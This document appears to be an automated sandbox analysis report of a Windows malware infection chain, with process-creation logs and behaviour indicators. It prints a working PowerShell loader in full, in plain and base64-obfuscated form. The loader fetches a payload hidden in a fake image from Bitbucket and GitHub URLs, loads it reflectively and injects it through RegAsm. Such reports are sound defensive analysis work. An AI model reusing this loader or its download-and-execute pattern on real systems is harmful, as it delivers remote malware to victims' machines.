f#EU#TgBE#D4#Pg#n#Ds#I##k#HM#d#Bh#HI#d#BJ#G4#Z#Bl#Hg#I##9#C##J#Bp#G0#YQBn#GU#V#Bl#Hg#d##u#Ek#bgBk#GU#e#BP#GY#K##k#HM#d#Bh#HI#d#BG#Gw#YQBn#Ck#Ow#g##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##k#GU#bgBk#Ek#bgBk#GU#e##g#D0#I##k#Gk#bQBh#Gc#ZQBU#GU#e#B0#C4#SQBu#GQ#ZQB4#E8#Zg#o#CQ#ZQBu#GQ#RgBs#GE#Zw#p#Ds#DQ#K#C##I##g#C##I##g#C##I##g#C##I##g#C##aQBm#C##K##k#HM#d#Bh#HI#d#BJ#G4#Z#Bl#Hg#I##t#Gc#ZQ#g#D##I##t#GE#bgBk#C##J#Bl#G4#Z#BJ#G4#Z#Bl#Hg#I##t#Gc#d##g#CQ#cwB0#GE#cgB0#Ek#bgBk#GU#e##p#C##ew#g#CQ#cwB0#GE#cgB0#Ek#bgBk#GU#e##g#Cs#PQ#g#CQ#cwB0#GE#cgB0#EY#b#Bh#Gc#LgBM#GU#bgBn#HQ#a##7#C##DQ#K#C##I##g#C
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 function DownloadDataFromLinks { param ([string[]]$links) $webClient = New-Object System.Net.WebClient; $shuffledLinks = Get-Random -InputObject $links -Count $links.Length; foreach ($link in $shuffledLinks) { try { return $webClient.DownloadData($link) } catch { continue } }; return $null }; $links = @('https://bitbucket.org/adssgfdsg/testing/downloads/img_test.jpg?144417', 'https://raw.githubusercontent.com/santomalo/audit/main/img_test.jpg?14441723'); $imageBytes = DownloadDataFromLinks $links; if ($imageBytes -ne $null) { $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $commandBytes = [System.Convert]::FromBase64String($base64Command); $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes); $type = $loadedAssembly.GetType('testpowershell.Home'); $method = $type.GetMethod('la').Invoke($null, [object[]] ('txt.SmniiFI/niam/sdaeh/sfer/ann/AKISEAWUEJI/moc.tnetnocresubuhtig.war//:sptth', '0', 'StartupName', 'RegAsm', '0'))}}" .exe -windowstyle hidden -exec
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$codigo = 'WwBO#GU#d##u#FM#ZQBy#HY#aQBj#GU#U#Bv#Gk#bgB0#E0#YQBu#GE#ZwBl#HI#XQ#6#Do#UwBl#GM#dQBy#Gk#d#B5#F##cgBv#HQ#bwBj#G8#b##g#D0#I#Bb#E4#ZQB0#C4#UwBl#GM#dQBy#Gk#d#B5#F##cgBv#HQ#bwBj#G8#b#BU#Hk#c#Bl#F0#Og#6#FQ#b#Bz#DE#Mg#N##o#I##g#C##I##g#C##I##g#C##I##g#C##ZgB1#G4#YwB0#Gk#bwBu#C##R#Bv#Hc#bgBs#G8#YQBk#EQ#YQB0#GE#RgBy#G8#bQBM#Gk#bgBr#HM#I#B7#C##c#Bh#HI#YQBt#C##K#Bb#HM#d#By#Gk#bgBn#Fs#XQBd#CQ#b#Bp#G4#awBz#Ck#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##J#B3#GU#YgBD#Gw#aQBl#G4#d##g#D0#I#BO#GU#dw#t#E8#YgBq#GU#YwB0#C##UwB5#HM#d#Bl#G0#LgBO#GU#d##u#Fc#ZQBi#EM#b#Bp#GU#bgB0#Ds#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##J#Bz#Gg#dQBm#GY#b#Bl#GQ#T#Bp#G4#awBz#C##PQ#g#Ec#ZQB0#C0#UgBh#G4#Z#Bv#G0#I##t#Ek#bgBw#HU#d#BP#GI#agBl#GM#d##g#CQ#b#Bp#G4#awBz#C##LQBD#G8#dQBu#HQ#I##k#Gw#aQBu#Gs#cw#u#Ew#ZQBu#Gc#d#Bo#Ds#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##ZgBv#HI#ZQBh#GM#a##g#Cg#J#Bs#Gk#bgBr#C##aQBu#C##J#Bz#Gg#dQBm#GY#b#Bl#GQ#T#Bp#G4#awBz#Ck#I#B7#C##d#By#Hk#I#B7#C##cgBl#HQ#dQBy#G4#I##k#Hc#ZQBi#EM#b#Bp#GU#bgB0#C4#R#Bv#Hc#bgBs#G8#YQBk#EQ#YQB0#GE#K##k#Gw#aQBu#Gs#KQ#g#H0#I#Bj#GE#d#Bj#Gg#I#B7#C##YwBv#G4#d#Bp#G4#dQBl#C##fQ#g#H0#Ow#g##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I#By#GU#d#B1#HI#bg#g#CQ#bgB1#Gw#b##g#H0#Ow#g##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##k#Gw#aQBu#Gs#cw#g#D0#I#B##Cg#JwBo#HQ#d#Bw#HM#Og#v#C8#YgBp#HQ#YgB1#GM#awBl#HQ#LgBv#HI#Zw#v#GE#Z#Bz#HM#ZwBm#GQ#cwBn#C8#d#Bl#HM#d#Bp#G4#Zw#v#GQ#bwB3#G4#b#Bv#GE#Z#Bz#C8#aQBt#Gc#XwB0#GU#cwB0#C4#agBw#Gc#Pw#x#DQ#N##0#DE#Nw#n#Cw#I##n#Gg#d#B0#H##cw#6#C8#LwBy#GE#dw#u#Gc#aQB0#Gg#dQBi#HU#cwBl#HI#YwBv#G4#d#Bl#G4#d##u#GM#bwBt#C8#cwBh#G4#d#Bv#G0#YQBs#G8#LwBh#HU#Z#Bp#HQ#LwBt#GE#aQBu#C8#aQBt#Gc#XwB0#GU#cwB0#C4#agBw#Gc#Pw#x#DQ#N##0#DE#Nw#y#DM#Jw#p#Ds#DQ#K#C##I##g#C##I##g#C##I##g#C##I##g#C##J#Bp#G0#YQBn#GU#QgB5#HQ#ZQBz#C##PQ#g#EQ#bwB3#G4#b#Bv#GE#Z#BE#GE#d#Bh#EY#cgBv#G0#T#Bp#G4#awBz#C##J#Bs#Gk#bgBr#HM#Ow#N##o#I##g#C##I##g#C##I##g#C##I##g#C##I#Bp#GY#I##o#CQ#aQBt#GE#ZwBl#EI#eQB0#GU#cw#g#C0#bgBl#C##J#Bu#HU#b#Bs#Ck#I#B7#C##J#Bp#G0#YQBn#GU#V#Bl#Hg#d##g#D0#I#Bb#FM#eQBz#HQ#ZQBt#C4#V#Bl#Hg#d##u#EU#bgBj#G8#Z#Bp#G4#ZwBd#Do#OgBV#FQ#Rg#4#C4#RwBl#HQ#UwB0#HI#aQBu#Gc#K##k#Gk#bQBh#Gc#ZQBC#Hk#d#Bl#HM#KQ#7##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##g#CQ#cwB0#GE#cgB0#EY#b#Bh#Gc#I##9#C##Jw#8#Dw#QgBB#FM#RQ#2#DQ#XwBT#FQ#QQBS#FQ#Pg#+#Cc#Ow#g#CQ#ZQBu#GQ#RgBs#GE#Zw#g#D0#I##n#Dw#P#BC#EE#UwBF#DY#N#Bf#EU#TgBE#D4#Pg#n#Ds#I##k#HM#d#Bh#HI#d#BJ#G4#Z#Bl#Hg#I##9#C##J#Bp#G0#YQBn#GU#V#Bl#Hg#d##u#Ek#bgBk#GU#e#BP#GY#K##k#HM#d#Bh#HI#d#BG#Gw#YQBn#Ck#Ow#g##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##k#GU#bgBk#Ek#bgBk#GU#e##g#D0#I##k#Gk#bQBh#Gc#ZQBU#GU#e#B0#C4#SQBu#GQ#ZQB4#E8#Zg#o#CQ#ZQBu#GQ#RgBs#GE#Zw#p#Ds#DQ#K#C##I##g#C##I##g#C##I##g#C##I##g#C##aQBm#C##K##k#HM#d#Bh#HI#d#BJ#G4#Z#Bl#Hg#I##t#Gc#ZQ#g#D##I##t#GE#bgBk#C##J#Bl#G4#Z#BJ#G4#Z#Bl#Hg#I##t#Gc#d##g#CQ#cwB0#GE#cgB0#Ek#bgBk#GU#e##p#C##ew#g#CQ#cwB0#GE#cgB0#Ek#bgBk#GU#e##g#Cs#PQ#g#CQ#cwB0#GE#cgB0#EY#b#Bh#Gc#LgBM#GU#bgBn#HQ#a##7#C##DQ#K#C##I##g#C Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 function DownloadDataFromLinks { param ([string[]]$links) $webClient = New-Object System.Net.WebClient; $shuffledLinks = Get-Random -InputObject $links -Count $links.Length; foreach ($link in $shuffledLinks) { try { return $webClient.DownloadData($link) } catch { continue } }; return $null }; $links = @('https://bitbucket.org/adssgfdsg/testing/downloads/img_test.jpg?144417', 'https://raw.githubusercontent.com/santomalo/audit/main/img_test.jpg?14441723'); $imageBytes = DownloadDataFromLinks $links; if ($imageBytes -ne $null) { $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $commandBytes = [System.Convert]::FromBase64String($base64Command); $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes); $type = $loadedAssembly.GetType('testpowershell.Home'); $method = $type.GetMethod('la').Invoke($null, [object[]] ('txt.SmniiFI/niam/sdaeh/sfer/ann/AKISEAWUEJI/moc.tnetnocresubuhtig.war//:sptth', '0', 'StartupName', 'RegAsm', '0'))}}" .exe -windowstyle hidden -exec Jump to behavior
Contains functionality to dynamically determine API calls
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 13_2_00414EED LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetModuleHandleA,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress, 13_2_00414EED
Uses code obfuscation techniques (call, push, ret)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 13_2_0045245D push esi; ret 13_2_00452466
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 13_2_0044A616 push ecx; ret 13_2_0044A629
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 13_2_0042C766 push ecx; ret 13_2_0042C779
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 13_2_0044AE78 push eax; ret 13_2_0044AE96
Contains functionality to download and launch executables
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 13_2_00404A3B ShellExecuteW,URLDownloadToFileW, 13_2_00404A3B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 13_2_00413168 OpenSCManagerW,OpenServiceW,CloseServiceHandle,StartServiceW,CloseServiceHandle,CloseServiceHandle,CloseServiceHandle, 13_2_00413168

Hooking and other Techniques for Hiding and Protection
barindex
Loading BitLocker PowerShell Module
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1 Jump to behavior
Extensive use of GetProcAddress (often used to hide API calls)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 13_2_00414EED LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetModuleHandleA,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress, 13_2_00414EED
Source: C:\Windows\System32\wscript.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\wscript.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\wscript.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
